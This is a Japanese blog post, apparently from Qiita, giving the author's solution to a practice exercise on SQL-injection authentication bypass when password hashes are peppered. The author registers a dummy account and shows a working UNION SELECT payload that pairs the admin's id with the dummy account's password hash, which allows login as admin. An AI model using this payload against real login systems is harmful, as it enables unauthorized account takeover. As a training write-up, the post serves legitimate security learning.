LoginSignup
0
0

ペッパー付きハッシュ値の場合のSQLインジェクション認証回避の練習問題の解答

Posted at

今回はこちらの記事を考えてみました。

ソースコードやテーブル定義は見てもよいことにしますが、「見なくても攻撃できる」方が良い解答とします。

ということでしたので、お言葉に甘えて、テーブル名および各カラム、adminのuseridadminと判明している前提での挑戦です。

今回はペッパー付きとのことで、自前で用意したハッシュ値を送り付けて認証させる方法は難しそうですが、利用者がユーザー登録できるということですので、まず攻撃用のダミーアカウントを登録しました。

02.jpg

userid : test
password: test
email: test@example.com

その後、

フォーム入力値

UserID ' union select (select id from users where userid = 'admin'), 'admin',(select password from users where userid = 'test'), (select email from users where userid = 'admin'); --

Password test

03.jpg

でとりあえず行けたようです。

04.jpg

05.jpg

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0